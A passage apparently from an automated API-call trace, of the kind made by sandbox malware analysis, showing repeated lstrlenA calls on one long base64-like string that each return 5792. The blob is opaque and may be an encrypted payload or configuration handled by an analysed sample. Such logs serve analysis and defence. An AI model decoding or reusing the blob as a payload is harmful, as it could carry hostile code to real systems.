(lpString="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") returned 5792 [0163.812] lstrlenA (lpString="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") returned 5792 [0163.813] lstrlenA (lpString="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